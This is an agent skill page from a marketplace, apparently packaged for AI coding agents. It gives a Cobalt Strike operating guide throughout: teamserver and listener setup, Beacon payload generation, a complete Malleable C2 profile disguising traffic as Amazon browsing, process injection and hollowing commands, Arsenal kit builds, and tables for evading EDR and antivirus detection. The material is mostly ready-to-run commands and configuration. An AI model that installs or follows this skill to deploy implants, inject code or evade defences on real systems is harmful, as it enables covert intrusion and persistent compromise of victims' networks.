# C2 Cobalt Strike

> Cobalt Strike operations — Beacon deployment, Malleable C2 profile creation, listener setup, OPSEC-safe beacon configuration, process injection, and Arsenal kit usage.

- Skill: `purpleailab/c2-cobalt-strike` (Agent Skill)
- Install (CLI): `npx skillmds@latest add purpleailab/c2-cobalt-strike`
- Raw SKILL.md: https://api.skillmd.com/api/skills/purpleailab/c2-cobalt-strike/raw
- Safety review: pending
- Works with: Claude Code, Claude.ai, OpenAI Codex
- Category: Security
- Author: purpleailab (https://skillmd.com/u/purpleailab)
- Updated: 2026-09-17
- Page: https://skillmd.com/skills/purpleailab/c2-cobalt-strike

---


# Cobalt Strike Beacon Operations

Cobalt Strike is a commercial adversary simulation platform. It provides Beacon implants with async and interactive modes, Malleable C2 profiles for traffic shaping, and extensible post-exploitation via Aggressor scripts and the Arsenal kit.

## Quick Reference

```bash
# Start teamserver
./teamserver <TEAMSERVER_IP> <PASSWORD> /path/to/malleable.profile

# Connect client
./cobaltstrike

# Generate stageless HTTPS Beacon (CLI)
./pegen --os windows --arch x64 --listener https-beacon --format exe --output /workspace/exploit/beacon.exe

# List active Beacons (Aggressor console)
beacon_ids()
```

## MITRE ATT&CK Mapping

| Technique | ID | Usage in Skill |
|-----------|----|----------------|
| Application Layer Protocol: Web Protocols | T1071.001 | HTTPS/HTTP Beacon traffic |
| Encrypted Channel: Symmetric Cryptography | T1573.001 | AES-256 encrypted C2 comms |
| Non-Application Layer Protocol | T1095 | Raw TCP/SMB Beacon channels |
| Protocol Tunneling | T1572 | DNS tunneling, SMB named pipe chaining |

## 1. Teamserver Setup

The teamserver is the Cobalt Strike operator backend. All Beacons call back to it through configured listeners.

```bash
# Start teamserver with a Malleable C2 profile
cd /opt/cobaltstrike
./teamserver <TEAMSERVER_IP> <SHARED_PASSWORD> /workspace/profiles/amazon.profile

# Start on a non-default port
./teamserver <TEAMSERVER_IP> <SHARED_PASSWORD> /workspace/profiles/amazon.profile 50050

# Verify teamserver is listening
ss -tlnp | grep -E '(50050|443)'
```

**OPSEC notes:**
- Never expose the teamserver port directly to the internet — use a redirector
- Use a unique password per engagement; avoid defaults
- Bind the management port to localhost or VPN interface only

## 2. Listener Configuration

### HTTPS Listener
```
# Cobalt Strike GUI: Cobalt Strike > Listeners > Add
# Name:    https-beacon
# Payload: Beacon HTTPS
# Host:    <C2_DOMAIN>
# Port:    443
# Beacons: <C2_DOMAIN>
# Profile: (loaded at teamserver start)
```

### DNS Listener
```
# Name:    dns-beacon
# Payload: Beacon DNS
# Host:    ns1.<C2_DOMAIN>
# Beacons: <C2_DOMAIN>
# Port:    53
# NS Response: <TEAMSERVER_IP>
#
# Required DNS records:
#   A    ns1.<C2_DOMAIN>  ->  <TEAMSERVER_IP>
#   NS   c2.<C2_DOMAIN>   ->  ns1.<C2_DOMAIN>
```

### SMB Listener (Peer-to-Peer)
```
# Name:    smb-beacon
# Payload: Beacon SMB
# Pipename: \\.\pipe\msagent_<RANDOM>
#
# SMB Beacons chain through an egress Beacon — no direct internet required.
# Use for lateral movement inside segmented networks.
```

### TCP Listener (Bind/Reverse)
```
# Name:    tcp-bind
# Payload: Beacon TCP (Bind)
# Port:    4444
#
# The parent Beacon connects to the child — useful when the child
# cannot initiate outbound connections.
```

## 3. Beacon Generation

### Stageless Payloads (Preferred for OPSEC)
```bash
# GUI: Attacks > Packages > Windows Executable (S)
# Listener:  https-beacon
# Output:    Windows EXE (stageless)
# x64:       checked
# Save to:   /workspace/exploit/beacon_https_x64.exe

# Raw shellcode for custom loaders
# Attacks > Packages > Payload Generator
# Listener:  https-beacon
# Output:    Raw
# x64:       checked
# Save to:   /workspace/exploit/beacon.bin
```

### Staged Payloads
```bash
# GUI: Attacks > Packages > Windows Executable
# Listener:  https-beacon
# Output:    Windows EXE
# x64:       checked
# Smaller initial payload — fetches full Beacon from listener on execution.
# WARNING: staging traffic is signatured; prefer stageless in mature environments.
```

### DLL Payloads (Sideloading)
```bash
# Attacks > Packages > Windows DLL
# Listener:  https-beacon
# x64:       checked
# Save to:   /workspace/exploit/beacon.dll

# Execute via sideloading or rundll32
# rundll32.exe beacon.dll,StartW
```

### Service EXE (Persistence)
```bash
# Attacks > Packages > Windows Service EXE
# Listener:  https-beacon
# x64:       checked
# Registers as a Windows service for persistence via:
#   sc create <NAME> binPath= "C:\path\to\svc_beacon.exe" start= auto
```

## 4. Malleable C2 Profiles

Malleable C2 profiles shape Beacon traffic to mimic legitimate application behavior, evading network-level detection.

### Profile Structure
```
# /workspace/profiles/amazon.profile

set sample_name "Amazon Browsing";
set sleeptime "60000";          # 60 second callback
set jitter    "37";             # 37% jitter
set useragent "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36";

# Process injection defaults
set host_stage "false";         # Disable staging (OPSEC)

https-certificate {
    set CN       "www.amazon.com";
    set O        "Amazon.com Inc.";
    set C        "US";
    set validity "365";
}

http-get {
    set uri "/s/ref=nb_sb_noss";

    client {
        header "Accept" "text/html,application/xhtml+xml";
        header "Accept-Encoding" "gzip, deflate, br";
        header "Accept-Language" "en-US,en;q=0.9";

        metadata {
            base64url;
            parameter "field-keywords";
        }
    }

    server {
        header "Content-Type" "text/html; charset=UTF-8";
        header "Server" "Server";
        header "X-Amz-Cf-Id" "XXXXXXXXX";

        output {
            netbios;
            prepend "<!DOCTYPE html><html>";
            append "</html>";
            print;
        }
    }
}

http-post {
    set uri "/gp/product/handle-buy-box";

    client {
        header "Content-Type" "application/x-www-form-urlencoded";

        id {
            base64url;
            parameter "session-id";
        }

        output {
            base64url;
            parameter "data";
        }
    }

    server {
        header "Content-Type" "application/json";

        output {
            netbios;
            prepend "{\"status\":\"ok\",\"data\":\"";
            append "\"}";
            print;
        }
    }
}
```

### Profile Validation
```bash
# Lint profile before loading
./c2lint /workspace/profiles/amazon.profile

# Expected output: no errors, warnings acceptable
# If c2lint fails, the teamserver will refuse to load the profile
```

### OPSEC-Critical Profile Settings
```
# Disable staged payloads (prevents signature on staging URI)
set host_stage "false";

# Spawn-to — controls which process Beacon forks into for post-ex
set spawnto_x86 "%windir%\\syswow64\\dllhost.exe";
set spawnto_x64 "%windir%\\sysnative\\dllhost.exe";

# Data transform — change encoding to avoid base64 signatures
set data_jitter "100";

# TCP frame header (avoids default Beacon wire signature)
set tcp_frame_header "\x80";

# SMB pipe name (avoid defaults)
set pipename "mojo.5688.8052.183894939787088877##";
set pipename_stager "mojo.5688.8052.35780273329370473##";
```

## 5. Sleep and Jitter Configuration

```
# Interactive (risky — high beacon rate)
sleep 0

# Low-and-slow recon phase
sleep 300 50          # 5 min +-50% jitter = 150-450 sec intervals

# Standard operations
sleep 60 37           # 60 sec +-37% jitter

# Long-haul persistence
sleep 3600 80         # 1 hour +-80% jitter = 12 min to 1h48m
```

**Guidance:**
| Phase | Sleep (sec) | Jitter (%) | Rationale |
|-------|-------------|------------|-----------|
| Initial access | 60–300 | 30–50 | Blend with normal browsing patterns |
| Active operations | 10–30 | 20–40 | Responsiveness with some variation |
| Persistence / dormant | 1800–86400 | 50–80 | Minimize traffic, maximize dwell |
| Interactive tasking | 0 (session mode) | — | Only for time-critical ops, revert after |

## 6. Process Injection

### Fork & Run (Default)
```
# Beacon spawns a sacrificial process, injects code, collects output, kills process.
# Controlled by spawnto_x86/x64 in profile.

# Override per-command:
spawnto x64 %windir%\sysnative\RuntimeBroker.exe
```

### Inline Execution (BOF)
```
# BOFs execute in Beacon's own process — no new process, no fork.
# Use Arsenal/community BOFs for OPSEC-sensitive tasks.

inline-execute /workspace/bofs/whoami.o
```

### Manual Injection
```
# Inject Beacon shellcode into a running process
inject <PID> x64 https-beacon

# Shinject — inject arbitrary shellcode
shinject <PID> x64 /workspace/exploit/shellcode.bin

# DLL injection
dllinject <PID> /workspace/exploit/beacon.dll
```

### Process Hollowing
```
# Spawn a suspended process and replace its image
# Attacks > Packages > Payload Generator > choose process hollowing
# Target process: svchost.exe, RuntimeBroker.exe, or similar long-lived system process
```

**OPSEC process selection:**
| Process | Risk | Notes |
|---------|------|-------|
| `svchost.exe` | Low (if spawned correctly) | Must run as SYSTEM with correct parent |
| `RuntimeBroker.exe` | Low | Normal user-level process |
| `dllhost.exe` | Low | COM surrogate, common |
| `notepad.exe` | Medium | Users notice open windows |
| `powershell.exe` | High | Heavily monitored by EDR |

## 7. Arsenal Kit Integration

The Arsenal kit provides source-level customization of Cobalt Strike's built-in capabilities.

```bash
# Build custom artifacts (shellcode loaders, DLLs)
cd /opt/cobaltstrike/arsenal-kit/kits/artifact
./build.sh pipe VirtualAlloc 310272 5 false false /workspace/arsenal/artifact

# Build custom resource kit (PowerShell templates, HTA, VBA)
cd /opt/cobaltstrike/arsenal-kit/kits/resource
./build.sh /workspace/arsenal/resource

# Build custom process-inject kit
cd /opt/cobaltstrike/arsenal-kit/kits/process_inject
./build.sh /workspace/arsenal/process_inject

# Load customized kits via Aggressor
# In Script Console:
load("/workspace/arsenal/artifact/artifact.cna")
load("/workspace/arsenal/resource/resources.cna")
load("/workspace/arsenal/process_inject/process_inject.cna")
```

## 8. OPSEC Considerations

| Risk | Default Behavior | Mitigation |
|------|-------------------|------------|
| Named pipes | `\\.\pipe\msagent_XX` | Custom `pipename` in profile |
| Spawn-to process | `rundll32.exe` | Set `spawnto_x64` to `dllhost.exe` or `RuntimeBroker.exe` |
| Staging URIs | Checksum8 pattern (`/aaa9`, `/ab2g`) | `set host_stage "false"` |
| Self-signed TLS | Default CS cert | Use valid cert or Malleable `https-certificate` block |
| JA3 fingerprint | Unique to CS | Use a redirector with nginx to terminate TLS |
| User-Agent | Default CS UA | Set in Malleable profile |
| Post-ex commands | Fork & run (new process) | Use BOFs for inline execution |
| DNS queries | High volume TXT records | Increase sleep, use hybrid DNS+HTTPS |

## Detection Signatures

| Indicator | Pattern | Mitigation |
|-----------|---------|------------|
| Default named pipe | `\\.\pipe\msagent_*` | Custom pipename in Malleable profile |
| Checksum8 staging URI | URI where `checksum8(uri) == 92` (x86) or `93` (x64) | Disable staging (`host_stage "false"`) |
| Beacon metadata | XOR-encoded cookie in HTTP GET | Custom metadata transform in profile |
| Default TLS cert | Serial `146473198` / Issuer "Major Cobalt Strike" | Valid cert or custom `https-certificate` |
| Sleep pattern | Consistent interval with fixed jitter | Randomize sleep values per phase |
| NtCreateThreadEx injection | ETW process injection telemetry | Use BOFs, modify process_inject kit |
| Named pipe impersonation | `ImpersonateNamedPipeClient` calls | Unique pipe names, limit lateral SMB usage |

## Error Handling & Edge Cases

| Issue | Symptom | Resolution |
|-------|---------|------------|
| c2lint fails | `Profile failed validation` | Fix syntax; ensure all blocks have matching braces |
| Beacon won't call back | No sessions appear | Verify listener port open, DNS resolves, redirector forwards correctly |
| Staging blocked | `HTTP 404` on stager URI | Defender blocking checksum8 URI; switch to stageless |
| Process injection fails | `Could not inject` | Target process arch mismatch (x86 vs x64) or protected process |
| Malleable profile conflict | Teamserver exits on start | Only one profile per teamserver; check for duplicate global options |
| Beacon killed after minutes | AV/EDR detection | Recompile artifact kit, change sleep, use process hollowing |
| SMB Beacon unreachable | `could not connect to pipe` | Firewall blocking port 445 or pipe name changed |

## Decision Gate

```
Is the target environment monitored by mature EDR?
├── YES
│   ├── Use stageless payloads with host_stage=false
│   ├── Customize artifact kit for loader evasion
│   ├── BOFs over fork-and-run for post-exploitation
│   ├── Profile mimicking high-volume site (CDN, SaaS)
│   └── Consider domain fronting (see c2-domain-fronting skill)
├── NO (limited monitoring)
│   ├── Standard HTTPS listener with moderate profile
│   ├── Fork-and-run acceptable for speed
│   └── Default artifact kit may suffice
└── INTERNAL PIVOT (post-initial-access)
    ├── SMB Beacon for peer-to-peer chaining
    ├── TCP bind Beacon for segmented networks
    └── Named pipe customization required
```

## Tools & Resources

| Tool | Purpose | Source |
|------|---------|--------|
| Cobalt Strike | Adversary simulation platform | https://www.cobaltstrike.com/ |
| Arsenal Kit | Source-level CS customization | Included with CS license |
| c2lint | Malleable profile validator | Included with CS |
| Malleable-C2-Profiles | Community profile repo | https://github.com/rsmudge/Malleable-C2-Profiles |
| BOF.NET | .NET BOF execution | https://github.com/CCob/BOF.NET |
| CS-Situational-Awareness-BOF | Recon BOFs | https://github.com/trustedsec/CS-Situational-Awareness-BOF |
| Cobalt Strike Community Kit | Community extensions | https://cobalt-strike.github.io/community_kit/ |